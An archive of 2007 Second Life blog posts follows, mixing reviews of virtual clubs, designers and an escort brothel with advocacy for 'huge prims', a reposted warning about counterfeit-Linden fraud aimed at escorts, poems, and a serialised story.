It is colder, cleaner, more Mediterranean and less tropical. Less Vegas, more Monaco. It's music is rougher while its visuals are smoother. It's lay out is easier, while its colors are harsher. Out is Vegas for its inspiration, in is Monaco. It no longer has it's old smarm, but it's charm is more calculated, more self-conscious. It is classical, where the old phats was fopulently romantic. It is still, by far and away, the best ballroom to meat people, and if anything, its standard of building has gone up. It's landscaping more carefully and artfully arranged. Phat's has accepted the "big box" model, and executed it to perfection. It looks, to all eyes, like a Roman city from the air touched with the medieval. Artic Trottier has not produced the richest club, but he has produced a clean and elegant build.

There has also been a hard eye applied to their lag issues, the current frame time of 22ms on average has a very spare 9ms of script time, and the bulk of the spikes are from "agents" that's us, the avatars. It is not going to win any speed awards as a server, but the move to the big box concept has dramatically reduced perceptual lag as well. Eden and NC-17 had it right, they just couldn't get there.

Another clear sign of the change is the latest wave of design. As I foretold "rezzilicious" is the wave of the future: detail that creates a powerful sense of texture as a whole and hits the eye with its unity and ornate detail. Gone the flat look. It was inevitable.


The clearest example is Last Call. Long the home of the anti-fabulous look, a place that I derided as "the place for people who need a first life even more than they need a second life," it has gone to more textured. It is still..... hmmmmmm... soft neo-1965, tinged with a retro-squared effect of the kind of retro that that era did. While it is relentlessly unfabulous and str*, even people who treated it as an object of derision, like myself, no longer do. This is because the Last Call Look now is like the new Phats: polished, more in control, detailed but on a budget, with spare lines that frame its effects. It is a cool, smooth day that we live in, and Last Call has nailed the desire for an elegant laid back glamor and understatment to showing off what is a vivid technique. This is important because Last Call is one of the most influential design houses in Second Life, and how I will get to later. But if Last Call is doing it, fairly soon the low tier retailers that are in the "newbie-economy" (is there a word the newbeconomy? Should there be?) will be doing the same things. It is the exemplar in clothing of the detailed enough, faux-real school in the prete a porter world of SL fashion. If you are an ordinary female avatar here to play, if you don't look like you shop at Last Call... you probably soon will. And that won't elicit the glamour giggles or tete a tete titters it used to.

An example of this mid 1960's influenced retro is the up and coming designer, Tuli . As with Last Call, understatement and restraint are the words of the day, and there is thinking with the bust line thing going on here. You can only know what I mean. Here retro gown with flowers at the top of this page is what many other designers in ordinary malls are aiming for.



Another convert to the school of rezzilicious is Nicky Ree, whose Swan gown makes an immediate and powerful impact, it is one of the most important signature pieces on Second Life. From "Nicky Who?" to "Nicky Woohoo!" in a single release. Her recent sale was almost a party for those of us who have to look high concept Hollywood for our day. It was the most important sale event since Ekatrina's.

But as this glamor gown with 1950's influence shows: it is not a one outfit wonder, but a cultivated new approach from this designer.

Another wave comes out of the as yet unheralded LeeZu Baxter. The clean side of rezzilicious is not here, instead LZB specializes in an almost casual disregard for the coolness that is in fashion on the other side. Wild is not to strong a word in places as with the roughe flexidress that is, to me, the most perfect flamenco outfit yet on sl, and the Nuomi series the best salsa dresses.

What these designers taken together tell us is that far from an ebbing of powers or creativity, Second Life's post boom time is oone of an increasing wave of creativity.

But how to reconcile this with the back to the past, and I mean past as in before I came to SL by at least a year, club movement?

It's about advantage and avatars.

Thursday, October 18, 2007

Huge Prims Update

Not Possible IRL has been running a good series on Huge Prims loaded with wonderful pictures about how Huge Prims contribute to life. Of course Prokybot is going around spewing outright nonsense about "the culling issue." As with most things out of the slander factory that is Proky Neva the culling issue is a smoke screen for Proky Neva's wallet. Proky is a land baroness, and as such has an interest in forcing people to spend more money on prims. Culling does not need to be "fixed," and there are hard numbers to show that more lag is generated by physical rotating prims than by the additional distance of huge prims. In fact, the biggest lag generator is an avatar, easily so, whether visible or not.

There is no "culling issue," other than there being differing resources used by different objects. If we would all build SL completely out of 1x1x1 cubes, then each additional prim would use the same resources.

Banning camping would do more to reduce lag than any other single action that could be taken, since it would get rid of all of the zombie log ins.

Not Possible IRL also reports that Andrew Linden has stated that there is no way that huge prims will be "nerfed."

The land barons and ad farmers are losing this one, but it is essential both to keep up the pressure,and conversely make sure that people use huge prims responsibly. That means, as with most things: phantom if you don't need the object to act as a barrier, don't lay down prims larger than your parcel, don't overlap someone else's parcel, don't spin them physical.

Counterfeit Lindens - YOU take the risk.

Alot of people were wondering what happened to Brie... well here is her side of the story... It is ugly...


What Happened to Me:

For those of you that don't know me, my name is Brie, i am owner of XFE-xXx Fantasy Escorts. I have been a sl-escort for about 2 years, and recently had an experience you all should be aware of.

This is a condensed version but the gist of the story:

Met a new client, he hired me 1-2 times a day for a week straight. He then tells me how he has purchased a great deal of linden (300K) to be exact. He tells me the lindens cap the amount he can hold on his avie cause his age, and if he gave me money if i would run him an account. Considering the money he had already spent, I agreed. He gave me money, tips, gifts, payment for services. My ingame partner, Garrold Devax, who also accepted him as a client when i couldnt, received large payments. On monday, 10/18/07, while in game i was logged out by an admin. I have a concerige account, so promptly contacted them, 3hours later find out i am being accused of accepting fraudulent lindens. Garrold was also locked out, didnt take much to connect it to him. 3 days later, after numerous phone calls, emails, and live help chats, my account & Garrolds were both unlocked. While understanding the lindens had to investigate, they took care of us rather quickly, as by all reports i heard from others to expect a week minimum, or more. They allowed me & Garrold account access. THey also TOOK BACK all the linden the client had paid me for services rendered. $110,189 Linden--YES that amount is correct and i will verify that for anyone that needs proof--was removed from my account leaving me a negative account balance of $78,456. Yes Negative. a Minus Balance. Garrold lost $67,000. Now, while i understand linden was doing their job, all the VENDORS that recieved money from him was not investigated, nor made to return the money. Since i had no "tangible" items that were sold (clothes, skins, ect ect) they took away the linden. I found out tonight from one of the owners at Escort Island, one of her girls also was logged out, and put under investigation due to him paying HER large sums of money as well. I understand the lindens have a job to do, but the services i rendered should be just as acceptable as an actual *store merchant*. My job is legal in sl. I am well known, and my business has been in SL for about 20 months now, we have an outstanding reputation for honesty and business integerity.

What this means to you and how to protect yourself:

what this means to you is that being an escort, you are a likely target for these scammers, as you do not offer "tangible goods" in exchange for linden. This also means that if they suspect you, you will be taken out of game, pending an investigation, and your account is subject to the scrunity of an unknown number of lindens...meaning your clients are at risk as well. (even the honest ones). While some of you will simply make a new account and start over, those of us that have taken the time and effort to become well known, respected, and have that *honest* reputation, stand to lose thousands (over 1 million in my case) of invested linden dollars in clothings skins, accessories of the trade, your other business/land ventures. The overall effect is frightening to consider.

How to protect yourself:
IF your approached by an avie that is under 30 days old that offers you large amounts of cash, although tempting, do not accept it.
If your asked to *hold linden* due to new avie status and linden restrictins, DO NOT AGREEE. According to Echo Linden, of the fraud investigation team, there is a cap on how much linden may be purchased by avies under 30 days old, NO RESTRICION on how much they can have in their account. By agreeing to *hold lindens* you are putting yourself in a position to be targeted the same way i was. If you are paid LARGE sums (10K plus) lindens to *run an account" for a client that you recently met, do not agree to this.

** Just as we all know in real life, if it appears to good to be true, it normally is. **

If you log into your sl account from the website, you can download your transaction history. KEEP THESE RECORDS on your hard drive....if your account is locked out you WILL NOT HAVE A WAY TO ACCESS THIS INFO. IF YOUR LOCKED OUT, and you have the records on your hard drive, you can access them quickly to provide the lindens with dates/times/amounts/account names/transaction history.
Keep records of any and all transactions ON YOUR HARD DRIVE that appear to be suspious. If you are given money that is not part of a "client" services, RETURN it. if they pay you again, FILE AN ABUSE REPORT,,,stating the Avies name, ect ect, so there is a RECORD with the lindens to show you didnt activly take part in a deception.

The long story short- if you are an escort, you already work a *morally* unacceptable job in most cultures. Do not give the people that are trying to run us out of second life more amunition. Protect yourself, and all the rest of us that do "an honest hours work for honest pay".
Those of you that simply dont care...do us all a favor and simply find another game to run your scams and rip people off. Don't taint an already tainted profession with shabby work habits and scams.
For the rest of you, Best of luck in your quest to be an excellent sl escort, with honor, integrity, and a decent regard for people and giving value for the money.
Please feel free to IM me if you want/need to know more.

Regards,

Brieanne Bomazi

Monday, October 15, 2007

Yedo Designers Competition


We have two meetings today at Yedo for the yedo Designer's competition at 5AM SLT and at 6 PM SLT. Find out how you can get a free store in an upscale mall for a month, as well as free publicity for your work!.

Friday, October 12, 2007

Phat Cats Renovating

Friday 7PM to Saturday Phats will be closed for a new look and a new arrangement. Let's see what Alix has in store... It should be wonderful.

Save Huge Prims!


Linden Labs might axe huge prims.

How would you like to wake up one day and have half your build gone with only little decorative prims floating in space? The griefers and the greedy land barons would love to force everyone to buy prims just for floors and walls. It would be a disaster, prims being spent on floor can't be spent on making things more beautiful. Art would be a night mare. Video walls would become lag monsters.

We've got to act now. This is important. They've started a forum thread, and we need to be there on it.

Write for Primical! Here is a free chance to post pictures about your work! Email me at lillie.yiyuan@yahoo.com to get started! If you have a blog and use huge prims, link to primical, and send me a link so that we can link back!

Send me your links to your flikr or blog posts on your huge prim builds! The more people know that huge prims are part of the best things in sl, the less they will be moved by lies and a few griefers to ban them. It would be like shooting your foot to scratch an itch.

There is a huge prim discussion group event at Yedo this Sunday, 10AM SLT. Come and share your ideas about what it takes to save huge prims! Do you know others? Send the link to us here and we will publicize them too!

This is important!

Aimee defends huge prims on Second Life Insider.

Wednesday, October 10, 2007

Voyeur

Good virtual architecture blog. I'll be adding it to the blog list. There is no reason for so much of sl to be slugly.

Somewhere it is always spring

Somewhere it is always spring, that spring,
it is now, and it ever shall be.
The leaves are still unfurling, the sun is still upward whirling,
the rain is still fresh from snowy mountains,
and the rivers are ripe with glacial waters.

Sometime it is always that time. That moment where we stopped
and looking into each other's eyes,
felt the world stop turning beneath our feet,
felt our hearts stop beating in our chests,
at the same instant, the same moment.

And in that silence that we found
above the void of precipitating ground,
there came a start to what started stopped,
And now every day is as it was once then.

We walk hand in hand in that spring,
we look star-ward at the uncurling clouds by night,
We marvel at the moon's rich glorious light.
We tell our friends, one then all,
of how this glorious spring will never fall.

And never fallen before heat's onslaught,
nor touched by autumn burning dying orange,
nor sieged by snows and frozen torment,
we will never wonder where that time went.

Because Somewhere it is always spring,
I know this because there, is my heart,
and in that secret shire there always sings,
the song of vernal love, and what it brings.

Sunday, October 7, 2007

Jazon Beck has left us

I know that part of Jazon's creative process is to knock over what he has done, and begin again. He has gone back to his first life, and there, I hope he finds that measure of fuller happiness. Part of me hopes he can return, but more of me hopes that he finds his last shore, to stagger from his boat one last time, and there to found a fair, far kingdom, with towers that shine like the Sun. I certainly hope to see more chapters of The Apostles and to one day hold it in my hands, having just had him sign my copy.

Good by sweet prince, you will never be far away from us, even if we do not see you on these shores again.

Harpsichord almost completed



The full prim harpsichord is almost completed. It has internal polyphonic midi, but not yet external. If I put it for sale before the polyphonic midi is working, there will be a free upgrade to the mid version. The keys and strings both animate. Still left to do is the quills, which will be attached to the keys.

The picture here is in the mode with very colorful strings because it is easier for me to fix problems: there is a more subtle one that looks more like a string vibrating. The keyboard is communicating with the strings in MIDI. Such detail does cone at a price. The base has 58 prims, and the keyboard and strings have 123 prims each, for a fully rezed total of 304 prims, 426 when the quills are added. There will be multiple rezzing options so that different prim budgets can work with it.

Also being tested is a series of playing demo styles to that the look of the keyboard's animation can match the mood of the piece. But that's not in my hands, so I don't know if it will be done in time for the first version.

The player piano is still for sale, but that doesn't have midi, and won't be midi (ized? fied? It is all geek to me!)

There is also the guitar to finish, and then on to the grand piano. After that the family of string instruments: violin, viola, cello, double bass.

Saturday, October 6, 2007

No Limits Brothel

Where you stand depends on where you lie, and whether your face is in the pillow or not.

While there are many ordinary clubs that come and go, the most interesting new addition to the galaxy of clubs is a new boutique club: No Limits Brothel. Now I will say up front that NLB, while I don't work there, has already been good to me. Three times I have had clients come to me from NLB, after looking at their offerings, and deciding that I was a better choice. The reasons for this I will get to later.

The business model of NLB is to tell patrons that their whores, and that is their consistent term, have a bond posted, and will lose that bond, and in addition, the girl is not paid until after the service is rendered, creating a kind of escrow. I worked one similar place early on, and the friends of the owner kept coming in for freebies, stiffing the girl on the rating, and then getting a refund from their friend the owner. It was dismal.

But where you stand depends on where you lie. In that the target markets for NLB are girls who are otherwise at the very very very bottom of the escorting ladder in second life: the girls who work red light districts. They have to contend with scam girls, who take the money and tp out, and with clients who offer 80L for :30 of the most degrading sex. If every serious abuse slut in sl started working a system like NLB it would be better for them.

The rates for sl sex at NLB are a trifle above ordinary, but hardly enough to justify carrying 5000L bond for their top whore level. Which is one reason I netted three people just coming from there: someone who has 5K on bond, doesn't have 5K on her face and body. A girl who is under the gun also doesn't do the surprising things. The clientele for NLB are men who are very unsure of themselves, who have been burned by the bottom end: girls who scam, girls who multi-play, girls whose idea of escorting is a few "ooooos" while a single pose ball runs.

The other key selling point of NLB is vox. While their sl sex rates are not particularly good, in line with other boutique clubs, their vox rate is high. And this makes sense: no limits vox is a great deal harder to come by than no limits sl sex. And it is on this that the deal really hangs in the long term for a girl who is working NLB: if they can establish themselves as the place for a premium no limits vox experience, then they break out of the market of guys who want to abuse women, and want the threat of violence to the girl's av as the way they keep it in place. At 3000L :20, a girl can easily begin to afford those premium touches that set her apart from the ordinary run of sl escorts.

On the down side the brutal punishments mean that the most successful escorts will not work the club: it would take hundreds of real dollars to duplicate what is on Lillie. I would not risk this for a ordinary revenue stream, nor would other top escorts with large no transfer investments. The risk is too high.

But for the girl who has spent dreary hours in red light districts and does not even have prim shoes to show for it... this is a completely different proposition. The card rates at NLB are 10 times red light district rates. The security offered patrons makes it likely the girl will get those rates. The longer term is whether the club cracks down on the "stiff and stiff" client. The client who pays, so the club is doing fine, but then votes the girl a negative rating. The club has an incentive to attract them, it keeps 100% of a somewhat unhappy customer, the girl has to reimburse, not the club. If girls start seeing the stiff and stiff, and I've been there, I know it happens, then NLB will find itself on the poison pen list very quickly.

It is a delicate balance: enough threat to the girls so that the nastiest men in SL will want to go there. But controlling their abuse, (and anyone searching for someone who does dolcett is among the nastiest and most abusive of men, let's not kid ourselves) so that there are girls willing to work...

(One person who has been there said he thought it didn't smell right, but he had no proof. Except that he knew of other similar set ups which seemed like they provided some level of verification, but were in fact run by three people who just rotated alts and pictures. I pressed for whether he had any proof in NLB's case, and he merely responded that he didn't think that too many girls with 5K floating around were going to want to put up a bond, when they could do just as well buying their own skybox to prove that they are for real. He has a point, but accusations or rumors of a scam require more, in my mind, than just suspicion. Though I don't doubt that the likelihood is that NLB is run by a tight group, one that trusts the management to wield the heavy punishments carefully.)

So there it is: NLB is the most interesting new business model in the Second Life escorting scene. For an sl sex girl, it is not a good deal for an established escort, because it is horrifically punitive and expensive to sign up for, and does not yet offer the traffic flow that justifies it. But, vox is the wedge, specifically no limits vox. If that catches fire, then NLB may be the first of a wave of clubs.

This is because the fierce penalties are what many men want, a way to reach through the screen and hurt a real person, make her feel rl discomfort and pain. And how ever it is done, touching rl is a fetish that people are willing to pay extra for. Pictures, vox, cam.

Thursday, October 4, 2007

Muschamp

It isn't architecture if it doesn't move you.

And it isn't criticism if it doesn't either. Muschamp could often be tasteless, his sense of aesthetic was often off. But he was also more than a critic, he was a tribune for the public value of architecture.

As with many personality writers, his infecting of his views with his personal relationships was often maddening to me, as if the way to get a good review from him were to have sex with him or at least cocktails. His metaphors were often forced, his faith in his own infallibility strained.

But through all of that he wanted architecture for how we live today, and while the definition of that could be argued endlessly, it is, at least, a goal higher than producing critical fiber that passes easily on newsprint.

Been there, bought that.


Swan lake gown.

Expensive, but her best creation so far.

Note to retailers: I buy from blogs!
You want from me,
I give to you,
but all of this is only vision.

You cry for me,
I smile at you,
you burn for closing this division.

It was for me,
it was not for you,
a momentary touch of diversion.

What should I feel,
What can I do,
To absolve and make, some confession.

All the crosses and choirs,
of your elusive world,
all the vigils and the guilt you've hurled.

They touch me not,
I feel them through,
the guaze of your borrowed divinity.

At first they seemed,
like ancient rites,
that dwelleth in the mouth of the world.

Now?
They are the tiresome blights,
of souls too fetid to rise from squalor.

You'd have me kneel at the altar,
you'd have me drink from that cup,
and all this to touch your holy flesh,
and bind it with my own.

You tell me that our children must,
be joined with that body that you can sense,
and flow with that blood spilled for your sins,
our sins, now dear, our sins.

If my chalice is not enough,
if my blood that is monthly shed for thee,
and our new testament to the world,
is not enough, is not enough.

Then you to him I give you in this bond,
man to man, if so you are fond,
and take to flight for other bliss,
whose doors are more open than the gates of Dis.

VAT

Pandora designs on VAT.

I asked a friend of mine on VAT. He's a techie who works on international service providing systems, he said "as soon as they started locating in Europe, it was inevitable that they would have to start complying with VAT. It is in their interest to charge VAT for their taxes so that they can offset the VAT they are now paying."

Gwyneth Gwyneth is fairly calm about this, but I don't think she is correct. I don't think this is a blessing, and I do think that if taxes are going to enter into the Second Life economic equation, then the paper work is about to go up.

I think cynicism reigns rightfully here, VAT came in now because now is when LL has a European presence. However, it was going to come eventually. In Europe, Europeans have to pay for their government, rather than printing dollars and asking Chinese people to pay for their government.

Likely this means that more and more people will take the road of having a US person be the point of contact, and funnel transaction through them. They can do this by paying rent to a US person, or they can form a group.

I found this entertaining

History of SL dance.


Those weren't the days.

Monday, October 1, 2007

Lucifer's Again

I finally got to see Lucifer's in its swinging mode. Every sex oriented club in SL is one one of a few models. One type is the boutique club, which is about the regulars hanging out and being in character. It is the favorite of BDSM clubs, yiffies, and any other club that caters to a more specific range of desires. There is the orgy room, which is about tossing pose balls everywhere and hoping that people come and camp for free in hopes of getting free sex. There is the camping farm, which has just enough of a club to draw people in to over charge them for bad content.

But among big clubs that have actual content, there are three models essentially. The first is the BG's model: packing people just above the orgy room into a loud churn of noise and push and make they are next to something baaaad that is about to happen, in fact everything is very controlled. The second model is the Sensual Elements Clubbers Club, which gives people more room and space and focuses on the quality of events. It is more relaxed that BGs. The third model is the Arsehba model which focuses on the quality of the dancing and the interaction between people and patron.

Having seen Lucifer's in action I can say that it is squarely aimed at the GoL model. It neither pushes nor instructs people. If you are a clubber and know how the SL club game goes, Lucifer's, when there are events, is running just that. On the other hand, they expect you to know the game and be able to participate. The pushes are a bit vulgar, the music a bit obvious, but the space is open, they don't get on about wearing your AO or prim this and that, and the event staff crisply rounds all the corners on taking requests, keeping things moving, making noise and being generally on top of things.

Enough room fora laggy club that focuses on giving the clubbers space? Their mall is already filling up, so that bodes well for them being able to stay in the game.

I've been wrong on predicting who would become an institution before, partially because it has a lot to do with how much money the rl owners of a club have to actually put up to get things moving, but Lucifer's is certainly resentingas if they have the linden's to spread around.

Ummm... just don't go there for the dancers, that's not, perhaps not yet, what Lucifer's is offering.

Moon in the House of Resonance 2

When I awaken again, everything has been smoothed out, the sheets are over me, the blanket is over me, there is a comforter in a floral cover that is thrown over me. I am warm and enclosed by the soft folds of fabric. I saw on the chair the tall figure of my friend, his arms draped over the side.

My head is in such intense pain, I feel as if there are pinpoint holes that blaze through my skull. Burning like stars of acid light. I shake and think momentarily of stumbling to the bathroom, but realize that that is too hazardous with only towels for clothing.

His lank form stirs, and he looks through the gloom in my direction, it is too dark to make out whether he is smiling or frowning. His eyes seem like dark pits. He swings an arm out, stretches it and almost effortlessly flips a light switch. Just before he throws the switch I stare at the space between his body and the wall, his arm stretched through the gloom, blotches of darkness swirling around it in my vision as my eyes tried to focus on some point, but failed to grasp it.

The light turning on smacked me in the face,and made me realize how much pain my throbbing skull was in. I shut my eyes hard and groaned. My head too heavy to stay up. There was an almost relief as it plumped into the pillow.

I opened one eye in time to see him roll to the floor and land his feet with a graceful quiet. He uncoiled upwards to his full height, towered oer me, covered the distance between chair and bed in a single step, and placed the back of his hand on my forehead.

"You've got a wicked fever."

I rolled one eye upwards to look at him. Is that so? Really. I never would have guessed.

Before I can speak he has loped out of the room, softly pounds his way down the stairs, and I can feel, rather than hear, him crossing the hall. This entire time the light is beating on my eyes, and I want desperately to be able to turn off the light, but I get no farther than stretching my arm out half way.

I am locked in that position, front down to the bed, hips bent slightly up, arm out at a right angle, head resting like the base of an arch on the pillow, when he returns. He has a cup of water in his hands, and two small round tablets. I recognize them as motrin.

"You should take this."

I am too floridly paralyzed with pain to really move, he rolls me over on to my back, and slips an arm behind me, and then almost carelessly raises me to a sitting position, provideds the tablets to my mouth and helps me drink. The taste in my mouth is dust and fire, and I slupr the water a bit.

"I should get back to my dorm."

I realize even as I wheeze that out that no such thing is going to happen.

"Ummm, I'm not sure I can carry you that far."

My eyes are still getting used to the light, when he flicks off the loud bulb and turns on the desk light. I can see a grey light outside, it is clearly still raining, but morning is coming.

"Thank God it is Saturday, at least I will only be monumentally behind come Monday, as opposed to missing classes and sections."

I realize even as I am saying it that my mouth has stopped moving somewhere around "Monday." I am back a sleep and swaying globular figures are playing about my eyes, that pre-dream where the ripples of sight are coming and going.


When I wake up, there are three things I realize. The first is that I am alone. There is none of that emenation that comes from another presence in the room. The second is that it must be late morning or late afternoon, because the light is different, a kind of bright polarized gray. The third is that I am both immensely hungry, and feel like throwing up. I gingerly scan the room, even moving my eyes slightly hurts. My skull is filled with that dullness that comes from painkillers masking what would otherwise be a brutal throb.

I see my clothes neatly folded and pressed on the chair. I slither out of the bed, and quietly put all of them on. I need to repeatedly rest my hand against the chair. There is a shivering wobble that runs up my body, as I stand on one leg to put a sock on. Instead the next thing I know, I have wobbled back and I am on the bed, having thumped on my rear end.

My, I thought, that was certainly graceful.

I pull myself upwards again, and stagger down back to the bathroom. There I take care of various essentials, and start to seek my way back to the bedroom to reacquire my book band and thence head back to my dorm.

I get to the small room again, its angles glowing with half shadows. Instead of having a clean resolve to go home, without willing to I methodically take off my clothes, leaving my underwear on, and curl back up under the covers and sob myself back to sleep. The pain in my skull feels like cold iron rods, the kind you see in those old fences, being rammed through it.

I am asleep again.